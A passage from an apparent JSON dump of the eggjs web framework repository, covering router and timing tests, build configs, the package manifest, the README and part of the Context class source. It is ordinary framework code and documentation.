request(app.callback()).get('/posts/123/edit').expect(200).expect('edit - 123');\n      });\n\n      it('should PATCH /posts/:id', () => {\n        return request(app.callback()).patch('/posts/123').expect(200).expect('update - 123');\n      });\n\n      it('should PUT /posts/:id', () => {\n        return request(app.callback()).put('/posts/123').expect(200).expect('update - 123');\n      });\n\n      it('should DELETE /posts/:id', () => {\n        return request(app.callback()).delete('/posts/123').expect(200).expect('destroy - 123');\n      });\n    });\n\n    describe('controller url', () => {\n      it('should GET /members', () => {\n        return request(app.callback()).get('/members').expect(200).expect('index');\n      });\n\n      it('should GET /members/index', () => {\n        return request(app.callback()).get('/members/index').expect(200).expect('index');\n      });\n\n      it('should GET /members/new', () => {\n        return request(app.callback()).get('/members/new').expect(200).expect('new');\n      });\n\n      it('should GET /members/:id', () => {\n        return request(app.callback()).get('/members/1231').expect(200).expect('show - 1231');\n      });\n\n      it('should POST /members', () => {\n        return request(app.callback()).post('/members').expect(404);\n      });\n\n      it('should PUT /members/:id', () => {\n        return request(app.callback()).put('/members/1231').expect(404);\n      });\n\n      it('should GET /POSTS', () => {\n        return request(app.callback()).get('/POSTS').expect(404);\n      });\n\n      it('should GET /members/delete/:id', () => {\n        return request(app.callback()).delete('/members/delete/1').expect(200).expect('delete - 1');\n      });\n\n      it('should GET /members/del/:id', () => {\n        return request(app.callback()).del('/members/del/1').expect(200).expect('delete - 1');\n      });\n\n      it('should GET /packages/(.*)', () => {\n        return request(app.callback()).get('/packages/urllib').expect('urllib');\n      });\n    });\n\n    describe('no name', () => {\n      it('should GET /comments', () => {\n        return request(app.callback()).get('/comments').expect('index').expect(200);\n      });\n\n      it('should POST /comments', () => {\n        return request(app.callback()).post('/comments').expect('new').expect(200);\n      });\n    });\n\n    describe('async controller', () => {\n      it('should execute by the correct order', () => {\n        return request(app.callback()).get('/mix').expect(['generator before', 'async', 'generator after']).expect(200);\n      });\n    });\n  });\n\n  describe('router.url', () => {\n    it('should work', () => {\n      assert(app.url('posts') === '/posts');\n\n      assert(app.router.url('posts') === '/posts');\n      assert(app.router.url('members') === '/members');\n      assert(app.router.url('post', { id: 1 }) === '/posts/1');\n      assert(app.router.url('member', { id: 1 }) === '/members/1');\n      assert(app.router.url('new_post') === '/posts/new');\n      assert(app.router.url('new_member') === '/members/new');\n      assert(app.router.url('edit_post', { id: 1 }) === '/posts/1/edit');\n      assert(app.router.url('params', { a: 1, b: 2 }) === '/params/1/2');\n      // no match params\n      assert(app.router.url('edit_post', {}) === '/posts/:id/edit');\n      assert(app.router.url('noname') === '');\n      assert(app.router.url('comment_index', { id: 1, a: 1 }) === '/comments/1?filter=&a=1');\n    });\n\n    it('should work with unknow params', () => {\n      assert(app.router.url('posts', { name: 'foo', page: 2 }) === '/posts?name=foo&page=2');\n      assert(app.router.url('posts', { name: 'foo&?', page: 2 }) === '/posts?name=foo%26%3F&page=2');\n      assert(app.router.url('edit_post', { id: 10, page: 2 }) === '/posts/10/edit?page=2');\n      assert(app.router.url('edit_post', { i: 2, id: 10 }) === '/posts/10/edit?i=2');\n      assert(\n        app.router.url('edit_post', {\n          id: 10,\n          page: 2,\n          tags: ['chair', 'develop'],\n        }) === '/posts/10/edit?page=2&tags=chair&tags=develop',\n      );\n      assert(\n        app.router.url('edit_post', {\n          id: [10],\n          page: [2],\n          tags: ['chair', 'develop'],\n        }) === '/posts/10/edit?page=2&tags=chair&tags=develop',\n      );\n      assert(\n        app.router.url('edit_post', {\n          id: [10, 11],\n          page: [2],\n          tags: ['chair', 'develop'],\n        }) === '/posts/10/edit?page=2&tags=chair&tags=develop',\n      );\n    });\n\n    it('should not support regular url', () => {\n      assert.throws(() => {\n        app.router.url('packages', ['urllib'] as any);\n      }, \"Can't get the url for regExp /^/packages/(.*)/ for by name 'posts'\");\n    });\n  });\n\n  describe('router.pathFor', () => {\n    it('should work', () => {\n      assert(app.router.pathFor('posts') === '/posts');\n    });\n  });\n\n  describe('router.method', () => {\n    it('router method include HEAD', () => {\n      assert(app.router.methods.includes('HEAD'));\n    });\n  });\n\n  describe('router middleware', () => {\n    it('should support all kinds of middlewares', () => {\n      return request(app.callback()).get('/middleware').expect(200).expect(['generator', 'async', 'common']);\n    });\n\n    it('should support all kinds of middlewares with name', () => {\n      return request(app.callback()).get('/named_middleware').expect(200).expect(['generator', 'async', 'common']);\n    });\n\n    it('should support all kinds of middlewares with register', () => {\n      return request(app.callback()).get('/register_middleware').expect(200).expect(['generator', 'async', 'common']);\n    });\n\n    it('should app.router support all kinds of middlewares', () => {\n      return request(app.callback()).get('/router_middleware').expect(200).expect(['generator', 'async', 'common']);\n    });\n  });\n\n  describe('redirect', () => {\n    it('should app.redirect to target', () => {\n      return request(app.callback()).get('/redirect').expect(302).expect('location', '/middleware');\n    });\n\n    it('should app.router.redirect to target', () => {\n      return request(app.callback()).get('/router_redirect').expect(301).expect('location', '/middleware');\n    });\n  });\n\n  describe('controller mutli url', () => {\n    it('should GET /url1', () => {\n      return request(app.callback()).get('/url1').expect(200).expect('index');\n    });\n    it('should GET /url2', () => {\n      return request(app.callback()).get('/url2').expect(200).expect('index');\n    });\n    it('use middlewares /urlm1', () => {\n      return request(app.callback()).get('/urlm1').expect(200).expect(['generator', 'async', 'common']);\n    });\n    it('use middlewares /urlm2', () => {\n      return request(app.callback()).get('/urlm2').expect(200).expect(['generator', 'async', 'common']);\n    });\n  });\n\n  describe('controller not exist', () => {\n    it('should check when app.router.VERB', () => {\n      try {\n        app.router.get('/test', app.controller.not_exist);\n        throw new Error('should not run here');\n      } catch (err: any) {\n        assert(err.message.includes('controller not exists'));\n      }\n    });\n\n    it('should check when app.router.VERB with controller string', () => {\n      try {\n        app.get('/hello', 'not.exist.controller');\n        throw new Error('should not run here');\n      } catch (err: any) {\n        assert.match(err.message, /app\\.controller\\.not\\.exist\\.controller not exists/);\n      }\n    });\n\n    it('should check when app.router.resources', () => {\n      try {\n        app.router.resources('/test', app.controller.not_exist);\n        throw new Error('should not run here');\n      } catch (err: any) {\n        assert.match(err.message, /controller not exists/);\n      }\n    });\n\n    it('should check when app.router.resources with controller string', () => {\n      try {\n        app.router.resources('/test', 'not.exist.controller');\n        throw new Error('should not run here');\n      } catch (err: any) {\n        assert.match(err.message, /app\\.controller\\.not\\.exist\\.controller not exists/);\n      }\n    });\n  });\n\n  describe('router middleware', () => {\n    beforeAll(async () => {\n      app = createApp('router-in-app');\n      await app.loader.loadAll();\n      return app.ready();\n    });\n\n    afterAll(() => app.close());\n\n    it('should always load router middleware at last', () => {\n      return request(app.callback()).get('/').expect(200).expect('foo');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/core/test/utils/timing.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { describe, it } from 'vitest';\n\nimport { Timing } from '../../src/utils/timing.js';\n\ndescribe('test/utils/timing.test.ts', () => {\n  it('should trace', () => {\n    const timing = new Timing();\n    timing.start('a');\n    timing.end('a');\n    timing.start('b');\n    timing.end('b');\n\n    const json = timing.toJSON();\n    assert.equal(json.length, 3);\n\n    assert.equal(json[1].name, 'a');\n    assert(json[1].start);\n    assert(json[1].end);\n    assert.equal(json[1].end - json[1].start, json[1].duration);\n    assert.equal(json[1].pid, process.pid);\n    assert.equal(json[2].name, 'b');\n    assert(json[2].start);\n    assert(json[2].end);\n    assert.equal(json[2].end - json[2].start, json[2].duration);\n    assert.equal(json[2].pid, process.pid);\n\n    timing.start('c');\n    console.log(timing.toString());\n  });\n\n  it('should set item when start', () => {\n    const timing = new Timing();\n    timing.start('a');\n\n    const json = timing.toJSON();\n    assert.equal(json[1].name, 'a');\n    assert(json[1].start);\n    assert.equal(json[1].end, undefined);\n    assert.equal(json[1].duration, undefined);\n  });\n\n  it('should ignore start when name is empty', () => {\n    const timing = new Timing();\n    timing.start();\n\n    const json = timing.toJSON();\n    assert.equal(json.length, 1);\n  });\n\n  it('should throw when name exists', () => {\n    const timing = new Timing();\n    timing.start('a');\n    assert.equal(timing.toJSON().length, 2);\n\n    timing.start('a');\n    assert.equal(timing.toJSON().length, 3);\n  });\n\n  it(\"should ignore end when name don't exist\", () => {\n    const timing = new Timing();\n    timing.end();\n    assert.equal(timing.toJSON().length, 1);\n  });\n\n  it('should enable/disable', () => {\n    const timing = new Timing();\n    timing.start('a');\n    timing.end('a');\n\n    timing.disable();\n\n    timing.start('b');\n    timing.end('b');\n\n    timing.enable();\n\n    timing.start('c');\n    timing.end('c');\n\n    const json = timing.toJSON();\n\n    assert.equal(json[1].name, 'a');\n    assert.equal(json[2].name, 'c');\n    assert.equal(json.length, 3);\n  });\n\n  it('should clear', () => {\n    const timing = new Timing();\n    timing.start('a');\n    timing.end('a');\n\n    const json = timing.toJSON();\n    assert.equal(json[1].name, 'a');\n\n    timing.clear();\n\n    timing.start('b');\n    timing.end('b');\n\n    const json2 = timing.toJSON();\n\n    assert.equal(json2[0].name, 'b');\n    assert.equal(json2.length, 1);\n  });\n\n  it(\"should throw when end and name don't exists\", () => {\n    const timing = new Timing();\n    assert.throws(() => {\n      timing.end('a');\n    }, /should run timing.start\\('a'\\) first/);\n  });\n\n  it('should init process start time', () => {\n    const timing = new Timing();\n    const processStart = timing.toJSON().find((item) => item.name === 'Process Start');\n    assert(processStart);\n    assert(processStart.start);\n    assert(processStart.end);\n  });\n});\n"
  },
  {
    "path": "packages/core/tsconfig.json",
    "content": "{\n  \"extends\": \"../../tsconfig.json\",\n  \"exclude\": [\"test/fixtures/**/*.ts\", \"*.config.ts\"]\n}\n"
  },
  {
    "path": "packages/core/tsdown.config.ts",
    "content": "import { defineConfig } from 'tsdown';\n\nexport default defineConfig({\n  entry: {\n    index: 'src/index.ts',\n  },\n});\n"
  },
  {
    "path": "packages/core/vitest.config.ts",
    "content": "import { defineProject } from 'vitest/config';\n\nexport default defineProject({\n  test: {\n    testTimeout: 10000,\n    hookTimeout: 20000,\n    exclude: ['test/fixtures/**', 'test/benchmark/**', '**/node_modules/**', '**/dist/**'],\n  },\n});\n"
  },
  {
    "path": "packages/egg/LICENSE",
    "content": "MIT License\n\nCopyright (c) 2017-present Alibaba Group Holding Limited and other contributors.\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "packages/egg/README.md",
    "content": "# egg\n\n[![NPM version](https://img.shields.io/npm/v/egg.svg?style=flat-square)](https://npmjs.org/package/egg)\n[![NPM quality](http://npm.packagequality.com/shield/egg.svg?style=flat-square)](http://packagequality.com/#?package=egg)\n[![NPM download](https://img.shields.io/npm/dm/egg.svg?style=flat-square)](https://npmjs.org/package/egg)\n[![Node.js Version](https://img.shields.io/node/v/egg.svg?style=flat)](https://nodejs.org/en/download/)\n[![FOSSA Status](https://app.fossa.com/api/projects/git%2Bgithub.com%2Feggjs%2Fegg.svg?type=shield)](https://app.fossa.com/projects/git%2Bgithub.com%2Feggjs%2Fegg?ref=badge_shield)\n\n[![Known Vulnerabilities](https://snyk.io/test/npm/egg/badge.svg?style=flat-square)](https://snyk.io/test/npm/egg)\n[![Open Collective backers and sponsors](https://img.shields.io/opencollective/all/eggjs?style=flat-square)](https://opencollective.com/eggjs)\n\n## Features\n\n- Built-in Process Management\n- Plugin System\n- Framework Customization\n- Lots of [plugins](https://github.com/search?q=topic%3Aegg-plugin&type=Repositories)\n\n## Quickstart\n\nFollow the commands listed below.\n\n```bash\n$ mkdir showcase && cd showcase\n$ npm init egg --type=simple # Optionally pnpm create egg --type=simple\n$ pnpm install\n$ pnpm run dev\n$ open http://localhost:7001\n```\n\n> Node.js >= 20.19.0 required, [supports `require(esm)` by default](https://nodejs.org/en/blog/release/v20.19.0).\n\n## Documentations\n\n- [Documentations](https://eggjs.org/en/index.html)\n- [Plugins](https://github.com/search?q=topic%3Aegg-plugin&type=Repositories)\n- [Frameworks](https://github.com/search?q=topic%3Aegg-framework&type=Repositories)\n- [Examples](https://github.com/eggjs/examples)\n\n## Sponsors and Backers\n\n[![sponsors](https://opencollective.com/eggjs/tiers/sponsors.svg?avatarHeight=48)](https://opencollective.com/eggjs#support)\n[![backers](https://opencollective.com/eggjs/tiers/backers.svg?avatarHeight=48)](https://opencollective.com/eggjs#support)\n\n## License\n\n[MIT](LICENSE)\n"
  },
  {
    "path": "packages/egg/package.json",
    "content": "{\n  \"name\": \"egg\",\n  \"version\": \"4.1.2-beta.5\",\n  \"description\": \"A web application framework for Node.js\",\n  \"keywords\": [\n    \"app\",\n    \"application\",\n    \"egg\",\n    \"framework\",\n    \"http\",\n    \"koa\",\n    \"middleware\",\n    \"web\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/packages/egg\",\n  \"license\": \"MIT\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"packages/egg\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./agent\": \"./src/agent.ts\",\n    \"./ajv\": \"./src/ajv.ts\",\n    \"./aop\": \"./src/aop.ts\",\n    \"./app/extend/context\": \"./src/app/extend/context.ts\",\n    \"./app/extend/helper\": \"./src/app/extend/helper.ts\",\n    \"./app/extend/request\": \"./src/app/extend/request.ts\",\n    \"./app/extend/response\": \"./src/app/extend/response.ts\",\n    \"./app/middleware/body_parser\": \"./src/app/middleware/body_parser.ts\",\n    \"./app/middleware/meta\": \"./src/app/middleware/meta.ts\",\n    \"./app/middleware/notfound\": \"./src/app/middleware/notfound.ts\",\n    \"./app/middleware/override_method\": \"./src/app/middleware/override_method.ts\",\n    \"./app/middleware/site_file\": \"./src/app/middleware/site_file.ts\",\n    \"./config/config.default\": \"./src/config/config.default.ts\",\n    \"./config/config.local\": \"./src/config/config.local.ts\",\n    \"./config/config.unittest\": \"./src/config/config.unittest.ts\",\n    \"./config/plugin\": \"./src/config/plugin.ts\",\n    \"./dal\": \"./src/dal.ts\",\n    \"./errors\": \"./src/errors.ts\",\n    \"./helper\": \"./src/helper.ts\",\n    \"./lib/agent\": \"./src/lib/agent.ts\",\n    \"./lib/application\": \"./src/lib/application.ts\",\n    \"./lib/core/base_context_class\": \"./src/lib/core/base_context_class.ts\",\n    \"./lib/core/base_context_logger\": \"./src/lib/core/base_context_logger.ts\",\n    \"./lib/core/base_hook_class\": \"./src/lib/core/base_hook_class.ts\",\n    \"./lib/core/context_httpclient\": \"./src/lib/core/context_httpclient.ts\",\n    \"./lib/core/httpclient\": \"./src/lib/core/httpclient.ts\",\n    \"./lib/core/logger\": \"./src/lib/core/logger.ts\",\n    \"./lib/core/messenger\": \"./src/lib/core/messenger/index.ts\",\n    \"./lib/core/messenger/base\": \"./src/lib/core/messenger/base.ts\",\n    \"./lib/core/messenger/IMessenger\": \"./src/lib/core/messenger/IMessenger.ts\",\n    \"./lib/core/messenger/ipc\": \"./src/lib/core/messenger/ipc.ts\",\n    \"./lib/core/messenger/local\": \"./src/lib/core/messenger/local.ts\",\n    \"./lib/core/utils\": \"./src/lib/core/utils.ts\",\n    \"./lib/define\": \"./src/lib/define.ts\",\n    \"./lib/egg\": \"./src/lib/egg.ts\",\n    \"./lib/error\": \"./src/lib/error/index.ts\",\n    \"./lib/error/CookieLimitExceedError\": \"./src/lib/error/CookieLimitExceedError.ts\",\n    \"./lib/error/MessageUnhandledRejectionError\": \"./src/lib/error/MessageUnhandledRejectionError.ts\",\n    \"./lib/loader\": \"./src/lib/loader/index.ts\",\n    \"./lib/loader/AgentWorkerLoader\": \"./src/lib/loader/AgentWorkerLoader.ts\",\n    \"./lib/loader/AppWorkerLoader\": \"./src/lib/loader/AppWorkerLoader.ts\",\n    \"./lib/loader/EggApplicationLoader\": \"./src/lib/loader/EggApplicationLoader.ts\",\n    \"./lib/start\": \"./src/lib/start.ts\",\n    \"./lib/types\": \"./src/lib/types.ts\",\n    \"./lib/types.plugin\": \"./src/lib/types.plugin.ts\",\n    \"./orm\": \"./src/orm.ts\",\n    \"./schedule\": \"./src/schedule.ts\",\n    \"./transaction\": \"./src/transaction.ts\",\n    \"./urllib\": \"./src/urllib.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./agent\": \"./dist/agent.js\",\n      \"./ajv\": \"./dist/ajv.js\",\n      \"./aop\": \"./dist/aop.js\",\n      \"./app/extend/context\": \"./dist/app/extend/context.js\",\n      \"./app/extend/helper\": \"./dist/app/extend/helper.js\",\n      \"./app/extend/request\": \"./dist/app/extend/request.js\",\n      \"./app/extend/response\": \"./dist/app/extend/response.js\",\n      \"./app/middleware/body_parser\": \"./dist/app/middleware/body_parser.js\",\n      \"./app/middleware/meta\": \"./dist/app/middleware/meta.js\",\n      \"./app/middleware/notfound\": \"./dist/app/middleware/notfound.js\",\n      \"./app/middleware/override_method\": \"./dist/app/middleware/override_method.js\",\n      \"./app/middleware/site_file\": \"./dist/app/middleware/site_file.js\",\n      \"./config/config.default\": \"./dist/config/config.default.js\",\n      \"./config/config.local\": \"./dist/config/config.local.js\",\n      \"./config/config.unittest\": \"./dist/config/config.unittest.js\",\n      \"./config/plugin\": \"./dist/config/plugin.js\",\n      \"./dal\": \"./dist/dal.js\",\n      \"./errors\": \"./dist/errors.js\",\n      \"./helper\": \"./dist/helper.js\",\n      \"./lib/agent\": \"./dist/lib/agent.js\",\n      \"./lib/application\": \"./dist/lib/application.js\",\n      \"./lib/core/base_context_class\": \"./dist/lib/core/base_context_class.js\",\n      \"./lib/core/base_context_logger\": \"./dist/lib/core/base_context_logger.js\",\n      \"./lib/core/base_hook_class\": \"./dist/lib/core/base_hook_class.js\",\n      \"./lib/core/context_httpclient\": \"./dist/lib/core/context_httpclient.js\",\n      \"./lib/core/httpclient\": \"./dist/lib/core/httpclient.js\",\n      \"./lib/core/logger\": \"./dist/lib/core/logger.js\",\n      \"./lib/core/messenger\": \"./dist/lib/core/messenger/index.js\",\n      \"./lib/core/messenger/base\": \"./dist/lib/core/messenger/base.js\",\n      \"./lib/core/messenger/IMessenger\": \"./dist/lib/core/messenger/IMessenger.js\",\n      \"./lib/core/messenger/ipc\": \"./dist/lib/core/messenger/ipc.js\",\n      \"./lib/core/messenger/local\": \"./dist/lib/core/messenger/local.js\",\n      \"./lib/core/utils\": \"./dist/lib/core/utils.js\",\n      \"./lib/define\": \"./dist/lib/define.js\",\n      \"./lib/egg\": \"./dist/lib/egg.js\",\n      \"./lib/error\": \"./dist/lib/error/index.js\",\n      \"./lib/error/CookieLimitExceedError\": \"./dist/lib/error/CookieLimitExceedError.js\",\n      \"./lib/error/MessageUnhandledRejectionError\": \"./dist/lib/error/MessageUnhandledRejectionError.js\",\n      \"./lib/loader\": \"./dist/lib/loader/index.js\",\n      \"./lib/loader/AgentWorkerLoader\": \"./dist/lib/loader/AgentWorkerLoader.js\",\n      \"./lib/loader/AppWorkerLoader\": \"./dist/lib/loader/AppWorkerLoader.js\",\n      \"./lib/loader/EggApplicationLoader\": \"./dist/lib/loader/EggApplicationLoader.js\",\n      \"./lib/start\": \"./dist/lib/start.js\",\n      \"./lib/types\": \"./dist/lib/types.js\",\n      \"./lib/types.plugin\": \"./dist/lib/types.plugin.js\",\n      \"./orm\": \"./dist/orm.js\",\n      \"./schedule\": \"./dist/schedule.js\",\n      \"./transaction\": \"./dist/transaction.js\",\n      \"./urllib\": \"./dist/urllib.js\",\n      \"./package.json\": \"./package.json\"\n    },\n    \"tag\": \"beta\"\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"@eggjs/ajv-plugin\": \"workspace:*\",\n    \"@eggjs/aop-plugin\": \"workspace:*\",\n    \"@eggjs/cluster\": \"workspace:*\",\n    \"@eggjs/controller-plugin\": \"workspace:*\",\n    \"@eggjs/cookies\": \"workspace:*\",\n    \"@eggjs/core\": \"workspace:*\",\n    \"@eggjs/dal-plugin\": \"workspace:*\",\n    \"@eggjs/development\": \"workspace:*\",\n    \"@eggjs/errors\": \"workspace:*\",\n    \"@eggjs/eventbus-plugin\": \"workspace:*\",\n    \"@eggjs/extend2\": \"workspace:*\",\n    \"@eggjs/i18n\": \"workspace:*\",\n    \"@eggjs/jsonp\": \"workspace:*\",\n    \"@eggjs/logrotator\": \"workspace:*\",\n    \"@eggjs/multipart\": \"workspace:*\",\n    \"@eggjs/onerror\": \"workspace:*\",\n    \"@eggjs/orm-plugin\": \"workspace:*\",\n    \"@eggjs/schedule\": \"workspace:*\",\n    \"@eggjs/schedule-plugin\": \"workspace:*\",\n    \"@eggjs/security\": \"workspace:*\",\n    \"@eggjs/session\": \"workspace:*\",\n    \"@eggjs/static\": \"workspace:*\",\n    \"@eggjs/tegg\": \"workspace:*\",\n    \"@eggjs/tegg-config\": \"workspace:*\",\n    \"@eggjs/tegg-plugin\": \"workspace:*\",\n    \"@eggjs/utils\": \"workspace:*\",\n    \"@eggjs/view\": \"workspace:*\",\n    \"@eggjs/watcher\": \"workspace:*\",\n    \"circular-json-for-egg\": \"catalog:\",\n    \"cluster-client\": \"catalog:\",\n    \"egg-logger\": \"catalog:\",\n    \"graceful\": \"catalog:\",\n    \"humanize-ms\": \"catalog:\",\n    \"is-type-of\": \"catalog:\",\n    \"koa-bodyparser\": \"catalog:\",\n    \"koa-override\": \"catalog:\",\n    \"onelogger\": \"catalog:\",\n    \"performance-ms\": \"catalog:\",\n    \"sendmessage\": \"catalog:\",\n    \"type-fest\": \"catalog:\",\n    \"urllib\": \"catalog:\",\n    \"utility\": \"catalog:\"\n  },\n  \"devDependencies\": {\n    \"@eggjs/koa\": \"workspace:*\",\n    \"@eggjs/mock\": \"workspace:*\",\n    \"@eggjs/supertest\": \"workspace:*\",\n    \"@eggjs/tracer\": \"workspace:*\",\n    \"@types/koa-bodyparser\": \"catalog:\",\n    \"address\": \"catalog:\",\n    \"assert-file\": \"catalog:\",\n    \"coffee\": \"catalog:\",\n    \"egg-plugin-puml\": \"catalog:\",\n    \"egg-view-nunjucks\": \"catalog:\",\n    \"formstream\": \"catalog:\",\n    \"koa-static\": \"catalog:\",\n    \"mm\": \"catalog:\",\n    \"runscript\": \"catalog:\",\n    \"sdk-base\": \"catalog:\",\n    \"spy\": \"catalog:\",\n    \"typescript\": \"catalog:\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  },\n  \"egg\": {\n    \"framework\": true\n  }\n}\n"
  },
  {
    "path": "packages/egg/src/agent.ts",
    "content": "import { BaseHookClass } from './lib/core/base_hook_class.ts';\n\nexport default class EggAgentHook extends BaseHookClass {\n  configDidLoad(): void {\n    this.agent._wrapMessenger();\n  }\n}\n"
  },
  {
    "path": "packages/egg/src/ajv.ts",
    "content": "export * from '@eggjs/tegg/ajv';\n"
  },
  {
    "path": "packages/egg/src/aop.ts",
    "content": "export * from '@eggjs/tegg/aop';\n"
  },
  {
    "path": "packages/egg/src/app/extend/context.ts",
    "content": "import type { Cookies as ContextCookies } from '@eggjs/cookies';\nimport { utils, Context as EggCoreContext, Router } from '@eggjs/core';\nimport type { EggLogger } from 'egg-logger';\nimport { now, diff } from 'performance-ms';\nimport { assign } from 'utility';\n\nimport type { Application } from '../../lib/application.ts';\nimport type { HttpClientRequestURL, HttpClientRequestOptions, HttpClient } from '../../lib/core/httpclient.ts';\nimport type { IService } from '../../lib/types.ts';\nimport type Helper from './helper.ts';\nimport type Request from './request.ts';\nimport type Response from './response.ts';\n\nconst HELPER = Symbol('ctx helper');\nconst LOCALS = Symbol('ctx locals');\nconst LOCALS_LIST = Symbol('ctx localsList');\nconst COOKIES = Symbol('ctx cookies');\nconst CONTEXT_HTTPCLIENT = Symbol('ctx httpclient');\nconst CONTEXT_ROUTER = Symbol('ctx router');\n\ninterface Cookies extends ContextCookies {\n  request: any;\n  response: any;\n}\n\nexport default class Context extends EggCoreContext {\n  declare app: Application;\n  declare request: Request;\n  declare response: Response;\n  declare service: IService;\n  declare proxy: any;\n\n  /**\n   * Request start time\n   * @member {Number} Context#starttime\n   */\n  starttime: number;\n  /**\n   * Request start timer using `performance.now()`\n   * @member {Number} Context#performanceStarttime\n   */\n  performanceStarttime: number;\n\n  /**\n   * Get the current visitor's cookies.\n   */\n  get cookies() {\n    let cookies = this[COOKIES];\n    if (!cookies) {\n      this[COOKIES] = cookies = new this.app.ContextCookies(this, this.app.keys, this.app.config.cookies);\n    }\n    return cookies as Cookies;\n  }\n\n  /**\n   * Get a wrapper httpclient instance contain ctx in the hold request process\n   *\n   * @return {HttpClient} the wrapper httpclient instance\n   */\n  get httpclient(): HttpClient {\n    if (!this[CONTEXT_HTTPCLIENT]) {\n      this[CONTEXT_HTTPCLIENT] = new this.app.ContextHttpClient(this as any);\n    }\n    return this[CONTEXT_HTTPCLIENT] as HttpClient;\n  }\n\n  /**\n   * Alias to {@link Context#httpclient}\n   */\n  get httpClient(): HttpClient {\n    return this.httpclient;\n  }\n\n  /**\n   * Shortcut for httpclient.curl\n   *\n   * @function Context#curl\n   * @param {String|Object} url - request url address.\n   * @param {Object} [options] - options for request.\n   * @return {Object} see {@link ContextHttpClient#curl}\n   */\n  async curl(url: HttpClientRequestURL, options?: HttpClientRequestOptions): ReturnType<HttpClient['request']> {\n    return await this.httpclient.curl(url, options);\n  }\n\n  /**\n   * Alias to {@link Application#router}\n   *\n   * @member {Router} Context#router\n   * @since 1.0.0\n   * @example\n   * ```js\n   * this.router.pathFor('post', { id: 12 });\n   * ```\n   */\n  get router(): Router {\n    if (this[CONTEXT_ROUTER]) {\n      return this[CONTEXT_ROUTER] as Router;\n    }\n    return this.app.router;\n  }\n\n  /**\n   * Set router to Context, only use on EggRouter\n   * @param {Router} val router instance\n   */\n  set router(val: Router) {\n    this[CONTEXT_ROUTER] = val;\n  }\n\n  /**\n   * Get helper instance from {@link Application#Helper}\n   *\n   * @member {Helper} Context#helper\n   * @since 1.0.0\n   */\n  get helper(): Helper {\n    if (!this[HELPER]) {\n      this[HELPER] = new this.app.Helper(this as any);\n    }\n    return this[HELPER] as Helper;\n  }\n\n  /**\n   * Wrap app.loggers with context information,\n   * if a custom logger is defined by naming aLogger, then you can `ctx.getLogger('aLogger')`\n   *\n   * @param {String} name - logger name\n   */\n  getLogger(name: string): EggLogger {\n    return this.app.getLogger(name);\n  }\n\n  /**\n   * Logger for Application\n   *\n   * @member {Logger} Context#logger\n   * @since 1.0.0\n   * @example\n   * ```js\n   * this.logger.info('some request data: %j', this.request.body);\n   * this.logger.warn('WARNING!!!!');\n   * ```\n   */\n  get logger(): EggLogger {\n    return this.getLogger('logger');\n  }\n\n  /**\n   * Logger for frameworks and plugins\n   *\n   * @member {Logger} Context#coreLogger\n   * @since 1.0.0\n   */\n  get coreLogger(): EggLogger {\n    return this.getLogger('coreLogger');\n  }\n\n  /**\n   * locals is an object for view, you can use `app.locals` and `ctx.locals` to set variables,\n   * which will be used as data when view is rendering.\n   * The difference between `app.locals` and `ctx.locals` is the context level, `app.locals` is global level, and `ctx.locals` is request level. when you get `ctx.locals`, it will merge `app.locals`.\n   *\n   * when you set locals, only object is available\n   *\n   * ```js\n   * this.locals = {\n   *   a: 1\n   * };\n   * this.locals = {\n   *   b: 1\n   * };\n   * this.locals.c = 1;\n   * console.log(this.locals);\n   * {\n   *   a: 1,\n   *   b: 1,\n   *   c: 1,\n   * };\n   * ```\n   *\n   * `ctx.locals` has cache, it only merges `app.locals` once in one request.\n   *\n   * @member {Object} Context#locals\n   */\n  get locals() {\n    if (!this[LOCALS]) {\n      this[LOCALS] = assign({}, this.app.locals);\n    }\n    if (Array.isArray(this[LOCALS_LIST]) && this[LOCALS_LIST].length > 0) {\n      assign(this[LOCALS], this[LOCALS_LIST]);\n      this[LOCALS_LIST] = null;\n    }\n    return this[LOCALS] as Record<string, any>;\n  }\n\n  set locals(val) {\n    const localsList = (this[LOCALS_LIST] as Record<string, any>[]) ?? [];\n    localsList.push(val);\n    this[LOCALS_LIST] = localsList;\n  }\n\n  /**\n   * alias to {@link Context#locals}, compatible with koa that use this variable\n   * @member {Object} state\n   * @see Context#locals\n   */\n  get state(): Record<string, any> {\n    return this.locals;\n  }\n\n  set state(val: Record<string, any>) {\n    this.locals = val;\n  }\n\n  /**\n   * Run async function in the background\n   * @param {Function} scope - the first args is ctx\n   * ```js\n   * this.body = 'hi';\n   *\n   * this.runInBackground(async ctx => {\n   *   await ctx.mysql.query(sql);\n   *   await ctx.curl(url);\n   * });\n   * ```\n   */\n  runInBackground(scope: (ctx: Context) => Promise<void>, taskName?: string): void {\n    // try to use custom function name first\n    if (!taskName) {\n      taskName = Reflect.get(scope, '_name') || 